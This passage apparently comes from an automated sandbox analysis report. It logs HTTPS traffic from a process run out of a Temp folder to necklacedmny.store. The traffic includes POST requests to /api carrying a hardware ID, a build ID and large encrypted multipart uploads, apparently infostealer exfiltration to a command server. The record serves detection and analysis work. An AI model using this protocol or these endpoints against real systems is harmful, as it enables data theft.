2024-11-01 09:57:25 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vls93cqv4d6b44k33uhuujd784; expires=Tue, 25-Feb-2025 03:44:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iF%2BQpBa2%2Bhjv5Cob99hP7rZ7dsMTvx5sgY9kpgf2OTtaoPDYWwLfCTntae3DK%2FloZnT0QB5mUGudVe4CLM%2BdLCGvgomKQa85lHWOVVRZxekLWLNVgyiA6%2B1lwHFvRrSI55oXTWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb053dae00ddb3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2611361&cwnd=73&unsent_bytes=0&cid=db71d5a0d6de1802&ts=503&x=0"
2024-11-01 09:57:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 09:57:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49920	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 09:57:26 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 09:57:27 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eb6i79g6tsc7hs1te6uiglmkd3; expires=Tue, 25-Feb-2025 03:44:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aZ%2B6kbDdi7SkN6hzJVS3VDvV514hUSxcjmB4swdZNcQXYABa1U65Nq%2BpWX1KrHCV2%2BZiWwUZCgFDRf2pQTxw9Ln8bENVippZy9i7iu6qG0cHjOGghTA0%2Bx8ZUGK%2BNOb3qCGQC%2F8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb0548adf46bb3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1861&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=1583378&cwnd=251&unsent_bytes=0&cid=920217300d6057f0&ts=695&x=0"
2024-11-01 09:57:27 UTC	350	IN	Data Raw: 63 62 61 0d 0a 4b 73 41 34 70 58 6c 55 4b 62 56 6e 31 67 51 71 6c 5a 66 53 43 41 36 6a 65 6b 6b 6e 46 69 6e 34 46 2f 4c 65 4c 34 73 46 4d 35 31 52 34 6b 36 48 51 32 41 46 6c 78 53 7a 4a 68 44 68 35 61 64 74 49 6f 45 62 4c 51 55 73 54 35 6c 37 67 62 73 44 71 58 4e 65 76 78 43 6d 57 63 6b 4b 4d 51 57 58 41 71 34 6d 45 4d 37 73 38 47 31 67 67 55 42 72 51 6e 78 4c 6d 58 75 51 76 30 54 6b 64 56 2f 2b 51 71 78 66 7a 52 77 33 54 64 51 4c 75 32 46 50 38 50 61 34 5a 6d 66 4f 45 69 51 46 4f 67 75 64 62 64 44 6b 44 63 5a 67 52 2f 78 6e 6f 55 76 4f 57 79 6b 46 7a 6b 57 7a 61 67 69 76 74 62 4e 74 62 4d 38 63 4c 55 78 2b 51 5a 42 7a 6b 62 70 46 2b 32 78 56 39 55 4b 69 58 4d 77 57 50 6c 6e 5a 41 62 78 71 53 66 72 32 38 43 51 73 78 67 42 72 48 54 51 59 71 48 61 42 72 56 Data Ascii: cbaKsA4pXlUKbVn1gQqlZfSCA6jekknFin4F/LeL4sFM51R4k6HQ2AFlxSzJhDh5adtIoEbLQUsT5l7gbsDqXNevxCmWckKMQWXAq4mEM7s8G1ggUBrQnxLmXuQv0TkdV/+QqxfzRw3TdQLu2FP8Pa4ZmfOEiQFOgudbdDkDcZgR/xnoUvOWykFzkWzagivtbNtbM8cLUx+QZBzkbpF+2xV9UKiXMwWPlnZAbxqSfr28CQsxgBrHTQYqHaBrV
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 4d 6b 61 4f 30 76 46 44 62 39 74 54 65 58 2b 75 57 64 68 77 52 55 68 53 6e 64 4c 6e 58 2b 61 73 30 66 74 61 6c 7a 35 53 4b 49 61 69 56 73 78 55 35 64 64 39 45 56 4e 35 2f 4b 38 66 43 37 37 57 44 51 4c 62 51 75 64 65 64 44 6b 44 65 46 69 55 76 78 44 72 56 6e 50 45 43 52 4c 78 51 4f 35 59 31 72 78 38 4c 35 67 62 39 4d 53 4a 55 4e 33 51 70 46 38 6c 62 74 4a 71 53 6b 52 2b 46 44 69 41 6f 63 36 4f 30 44 62 44 36 4e 6d 43 4f 69 37 71 53 70 72 7a 56 68 7a 42 58 42 4b 6e 6e 53 55 73 6b 50 74 61 31 66 78 52 61 31 63 7a 52 73 78 51 64 38 4e 74 57 74 44 2b 50 57 31 5a 32 6a 48 46 43 70 41 4e 41 58 61 63 6f 6a 38 46 61 6c 4a 56 76 78 61 34 47 2f 45 46 54 68 4d 77 55 57 72 4b 46 47 33 38 72 77 71 4e 49 45 57 4c 6b 70 6d 53 6f 68 77 6e 71 35 42 37 47 46 63 2f 45 61 69 Data Ascii: MkaO0vFDb9tTeX+uWdhwRUhSndLnX+as0ftalz5SKIaiVsxU5dd9EVN5/K8fC77WDQLbQudedDkDeFiUvxDrVnPECRLxQO5Y1rx8L5gb9MSJUN3QpF8lbtJqSkR+FDiAoc6O0DbD6NmCOi7qSprzVhzBXBKnnSUskPta1fxRa1czRsxQd8NtWtD+PW1Z2jHFCpANAXacoj8FalJVvxa4G/EFThMwUWrKFG38rwqNIEWLkpmSohwnq5B7GFc/Eai
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 68 4d 77 55 57 72 4b 46 47 33 38 72 77 71 4e 49 45 55 49 6b 56 2f 51 5a 35 31 6c 37 46 49 36 6d 42 53 38 6b 2b 6f 56 4d 41 66 4f 6b 4c 61 41 37 52 68 54 50 4c 6e 74 57 4e 67 7a 56 68 6c 42 58 4e 54 32 69 33 51 6b 30 72 2f 5a 48 37 38 57 61 73 61 32 46 55 76 43 39 41 4a 39 44 34 49 38 50 43 34 59 57 72 4a 47 44 6c 41 65 6b 43 62 66 35 61 39 51 4f 56 68 55 66 35 49 70 46 62 48 48 44 46 5a 78 51 43 79 64 45 4b 33 75 2f 42 74 64 49 46 41 61 33 4e 6b 58 49 74 6a 30 6f 6c 4f 35 32 6c 57 36 51 69 39 46 4e 35 62 4d 55 65 58 58 66 52 74 53 50 76 79 75 47 78 6f 79 52 63 6b 54 47 5a 4b 6c 6e 75 43 75 30 33 67 61 56 37 7a 51 61 39 64 79 68 41 38 52 74 4d 43 74 53 59 47 74 2f 4b 6f 4b 6a 53 42 4c 6a 74 49 65 47 57 52 65 5a 6e 38 55 71 64 2b 45 66 68 45 34 67 4b 48 48 Data Ascii: hMwUWrKFG38rwqNIEUIkV/QZ51l7FI6mBS8k+oVMAfOkLaA7RhTPLntWNgzVhlBXNT2i3Qk0r/ZH78Wasa2FUvC9AJ9D4I8PC4YWrJGDlAekCbf5a9QOVhUf5IpFbHHDFZxQCydEK3u/BtdIFAa3NkXItj0olO52lW6Qi9FN5bMUeXXfRtSPvyuGxoyRckTGZKlnuCu03gaV7zQa9dyhA8RtMCtSYGt/KoKjSBLjtIeGWReZn8Uqd+EfhE4gKHH
2024-11-01 09:57:27 UTC	177	IN	Data Raw: 45 73 47 4e 4e 38 2f 4b 30 62 47 4f 42 56 6d 74 43 62 41 76 43 4e 62 2b 62 65 4b 74 47 61 37 39 58 37 45 4f 48 48 44 6f 4c 6a 30 57 34 5a 55 54 2f 2b 72 5a 6a 59 4d 73 52 49 45 6c 2f 54 35 5a 38 6c 62 70 4d 37 47 4a 51 2b 30 53 6f 58 4d 51 59 4f 55 54 59 44 66 51 6f 43 50 44 74 38 44 49 73 35 41 38 67 53 33 49 4c 68 54 75 4a 2f 45 72 6c 4a 77 6d 2f 52 4b 74 63 77 52 34 36 53 74 45 4e 73 57 35 4d 39 76 4f 32 61 57 50 46 48 53 70 4b 63 45 65 55 66 35 47 39 51 65 4a 6f 57 76 6f 49 37 42 72 41 41 33 59 54 6c 7a 53 33 63 46 0d 0a Data Ascii: EsGNN8/K0bGOBVmtCbAvCNb+beKtGa79X7EOHHDoLj0W4ZUT/+rZjYMsRIEl/T5Z8lbpM7GJQ+0SoXMQYOUTYDfQoCPDt8DIs5A8gS3ILhTuJ/ErlJwm/RKtcwR46StENsW5M9vO2aWPFHSpKcEeUf5G9QeJoWvoI7BrAA3YTlzS3cF
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 33 37 62 32 0d 0a 2f 6e 2b 66 42 31 49 74 68 59 4c 45 6b 30 45 39 70 30 67 72 5a 48 35 32 4a 65 2b 6b 75 74 58 63 6f 64 4f 6b 48 65 44 62 4a 70 51 65 58 32 76 47 52 72 7a 78 51 6c 53 48 35 49 6c 7a 58 65 2f 45 72 78 4a 77 6d 2f 5a 4b 56 58 36 52 41 36 54 4a 63 61 2b 6e 38 49 38 50 6e 77 4d 69 7a 4e 45 69 64 4d 64 45 4b 66 66 5a 75 31 53 4f 68 73 56 50 78 4f 72 31 58 4f 43 54 78 49 32 51 61 34 61 6b 37 32 39 71 4a 69 5a 59 46 57 61 30 4a 73 43 38 49 31 73 62 4a 41 2f 57 42 42 76 31 66 73 51 34 63 63 4f 67 75 50 52 62 64 6e 52 2f 54 30 76 57 78 6c 79 52 67 74 51 48 74 47 6c 48 4b 58 76 45 44 6e 61 46 66 33 52 61 35 52 79 52 49 77 53 39 59 50 39 43 67 49 38 4f 33 77 4d 69 7a 78 47 79 74 46 62 77 75 46 4f 34 6e 38 53 75 55 6e 43 62 39 61 71 46 50 48 47 44 6c Data Ascii: 37b2/n+fB1IthYLEk0E9p0grZH52Je+kutXcodOkHeDbJpQeX2vGRrzxQlSH5IlzXe/ErxJwm/ZKVX6RA6TJca+n8I8PnwMizNEidMdEKffZu1SOhsVPxOr1XOCTxI2Qa4ak729qJiZYFWa0JsC8I1sbJA/WBBv1fsQ4ccOguPRbdnR/T0vWxlyRgtQHtGlHKXvEDnaFf3Ra5RyRIwS9YP9CgI8O3wMizxGytFbwuFO4n8SuUnCb9aqFPHGDl
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 57 74 47 2b 66 4b 6d 4b 6e 4f 50 41 57 74 43 65 41 76 43 4e 5a 47 77 51 75 70 6f 55 76 78 4a 71 45 6a 56 46 7a 39 44 30 67 6d 2f 61 45 37 6c 38 37 39 6a 62 38 49 52 4c 45 31 34 51 5a 6c 79 30 50 49 4e 37 6e 38 52 70 77 69 42 54 64 63 57 64 6c 53 5a 48 50 52 68 52 4c 65 74 38 47 4a 68 79 52 49 76 51 6e 6c 4d 6e 48 79 43 74 55 6a 6e 5a 31 58 30 52 36 52 65 78 42 73 6b 54 64 4d 4e 74 32 74 46 2b 66 61 30 4b 69 4b 42 48 7a 4d 46 4c 41 75 6f 65 4a 36 6e 51 75 35 32 57 37 39 58 37 45 4f 48 48 44 6f 4c 6a 30 57 77 61 46 72 38 39 4c 74 68 59 73 59 58 4c 6b 39 30 52 4a 35 32 6e 72 64 4d 36 6d 39 63 38 6b 61 6f 55 38 34 63 4f 6b 2f 51 52 66 6f 6d 54 2b 2b 31 36 43 70 48 34 44 55 48 51 6d 34 4c 68 54 75 4a 2f 45 72 6c 4a 77 6d 2f 52 4b 74 57 7a 52 41 78 51 64 6b 4d Data Ascii: WtG+fKmKnOPAWtCeAvCNZGwQupoUvxJqEjVFz9D0gm/aE7l879jb8IRLE14QZly0PIN7n8RpwiBTdcWdlSZHPRhRLet8GJhyRIvQnlMnHyCtUjnZ1X0R6RexBskTdMNt2tF+fa0KiKBHzMFLAuoeJ6nQu52W79X7EOHHDoLj0WwaFr89LthYsYXLk90RJ52nrdM6m9c8kaoU84cOk/QRfomT++16CpH4DUHQm4LhTuJ/ErlJwm/RKtWzRAxQdkM
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 66 38 74 57 5a 76 77 52 77 74 54 48 4a 49 6e 6a 58 65 2f 45 72 78 4a 77 6d 2f 5a 61 35 64 37 68 77 74 43 38 68 4c 72 53 5a 50 2b 37 58 6f 4b 6d 33 4b 45 69 52 49 64 30 32 5a 66 70 57 32 54 4f 35 76 58 4f 31 4c 72 56 58 44 47 7a 6c 4e 30 51 53 37 59 45 2f 2b 39 4c 68 74 4c 49 39 59 4c 46 30 30 45 39 70 62 6c 37 39 4a 71 58 67 66 35 67 69 6c 56 6f 64 44 64 6b 76 64 44 37 35 6f 53 50 44 6e 74 6d 4e 73 77 67 6f 6f 51 33 78 4e 6c 6e 6d 64 74 45 54 70 59 6c 72 79 51 36 39 63 78 78 41 33 43 35 6c 46 73 33 34 49 72 37 57 42 5a 32 4c 46 46 69 68 56 63 77 75 46 4f 34 6e 38 53 75 55 6e 43 62 39 48 71 30 6a 41 48 6a 35 43 31 77 75 39 62 30 2f 7a 39 72 46 75 59 4d 34 52 4b 45 31 31 51 35 56 32 6b 4c 64 46 34 32 5a 66 2b 67 6a 73 47 73 41 44 64 68 4f 58 4b 72 64 6a 51 Data Ascii: f8tWZvwRwtTHJInjXe/ErxJwm/Za5d7hwtC8hLrSZP+7XoKm3KEiRId02ZfpW2TO5vXO1LrVXDGzlN0QS7YE/+9LhtLI9YLF00E9pbl79JqXgf5gilVodDdkvdD75oSPDntmNswgooQ3xNlnmdtETpYlryQ69cxxA3C5lFs34Ir7WBZ2LFFihVcwuFO4n8SuUnCb9Hq0jAHj5C1wu9b0/z9rFuYM4RKE11Q5V2kLdF42Zf+gjsGsADdhOXKrdjQ
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 69 4c 50 35 57 61 31 30 30 45 39 70 41 6b 37 4a 44 37 6e 46 41 73 6d 2b 34 56 38 45 4d 4a 77 75 5a 52 62 49 6d 45 4b 65 37 38 47 35 39 67 55 42 37 46 79 38 65 79 53 4c 41 37 6c 4b 6e 66 68 48 70 43 50 6f 49 69 56 73 6b 43 34 39 46 38 32 56 61 35 66 4f 7a 66 47 2b 47 4a 68 56 72 63 30 32 66 63 6f 44 2b 59 2b 4a 7a 56 72 38 47 34 6c 57 48 51 77 38 4c 6e 30 57 4c 4b 41 6a 76 74 65 67 71 57 63 49 57 4a 55 4a 69 57 74 64 62 6c 37 70 49 37 6e 63 54 30 55 4f 32 58 59 64 56 64 6b 32 58 58 65 51 6f 43 50 50 6b 38 44 49 38 6b 30 4e 2b 46 69 4d 62 79 47 72 65 70 51 33 2f 4a 77 6d 74 42 75 4a 49 68 30 4e 32 44 4e 51 58 70 6d 42 4c 34 66 62 33 56 46 4c 43 44 69 5a 4b 66 30 71 6b 53 37 36 78 54 4f 70 70 45 38 35 65 72 30 72 45 48 6a 46 31 36 51 75 7a 63 6b 2f 35 38 37 Data Ascii: iLP5Wa100E9pAk7JD7nFAsm+4V8EMJwuZRbImEKe78G59gUB7Fy8eySLA7lKnfhHpCPoIiVskC49F82Va5fOzfG+GJhVrc02fcoD+Y+JzVr8G4lWHQw8Ln0WLKAjvtegqWcIWJUJiWtdbl7pI7ncT0UO2XYdVdk2XXeQoCPPk8DI8k0N+FiMbyGrepQ3/JwmtBuJIh0N2DNQXpmBL4fb3VFLCDiZKf0qkS76xTOppE85er0rEHjF16Quzck/587
2024-11-01 09:57:27 UTC	1369	IN	Data Raw: 48 6d 73 64 4a 67 58 61 63 59 48 38 46 62 6b 31 43 71 6f 62 39 51 71 56 42 48 68 53 6c 78 50 30 50 68 71 35 74 61 49 71 4e 49 46 66 4b 46 64 6d 54 5a 6c 6a 6b 2f 74 7a 31 30 42 66 2b 45 6d 30 53 73 6f 58 46 30 6a 47 44 34 70 59 58 66 54 37 76 6d 31 36 30 46 68 6c 42 58 73 4c 77 6b 7a 51 39 41 33 57 4b 52 48 6e 43 50 6f 61 38 68 67 34 52 64 41 54 70 53 74 76 2b 66 4b 78 66 48 7a 4d 46 41 70 47 5a 55 48 61 4f 39 43 36 44 62 45 31 48 37 39 4d 73 78 71 66 53 32 51 51 67 6c 62 6a 4e 68 72 6f 75 36 6b 71 65 6f 46 41 65 51 73 30 57 64 6f 74 30 50 74 4f 2b 33 56 58 2f 46 36 68 48 66 6b 6c 45 31 7a 55 46 62 4a 6c 64 73 6e 65 76 47 78 72 32 78 38 74 59 31 51 4c 31 44 57 66 2f 42 58 51 4a 78 6d 2f 64 2b 77 61 33 31 74 75 43 2b 49 47 75 6d 68 50 34 65 54 39 54 33 76 Data Ascii: HmsdJgXacYH8Fbk1Cqob9QqVBHhSlxP0Phq5taIqNIFfKFdmTZljk/tz10Bf+Em0SsoXF0jGD4pYXfT7vm160FhlBXsLwkzQ9A3WKRHnCPoa8hg4RdATpStv+fKxfHzMFApGZUHaO9C6DbE1H79MsxqfS2QQglbjNhrou6kqeoFAeQs0Wdot0PtO+3VX/F6hHfklE1zUFbJldsnevGxr2x8tY1QL1DWf/BXQJxm/d+wa31tuC+IGumhP4eT9T3v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49932	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 09:57:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:29 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-11-01 09:57:29 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4eoa4k5svnquqj5rodvfo211tc; expires=Tue, 25-Feb-2025 03:44:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lqJzkT5g%2Fy4yvcijP%2FAV6ek4nrp1wgBwP3RP9XJABcwqNTi%2FraCNbkx4fg%2FSDt1NNe1clvF%2FMdWJozmI3Ju%2FDXjizDMGwh69PuipkF1b1YhFPO29M%2Bt2%2F0VM7tjS6kRd4cpfgsE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb05595954e987-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1122&sent=9&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2533683&cwnd=251&unsent_bytes=0&cid=23278c5541517951&ts=605&x=0"
2024-11-01 09:57:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49946	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:30 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-11-01 09:57:30 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:31 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2mq2dfpiniesn7n014fa60ms1h; expires=Tue, 25-Feb-2025 03:44:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l0NA9Rvg8nhuysy%2F3fN31dIuNSRcv6dbI0R5pbn%2FpUwhRwtdaEqUL7p%2BWlQiCdP%2F%2BDc9hambs8tDkcV6jQhj40PFjNVDWbwQnKRggEdIBmkSfWFiccaFq4seGqTuR0aJS1hmz%2Bk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb0563e9fb3ab6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1077&sent=11&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2613718&cwnd=251&unsent_bytes=0&cid=7f644a07c93f917c&ts=746&x=0"
2024-11-01 09:57:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49957	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-11-01 09:57:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
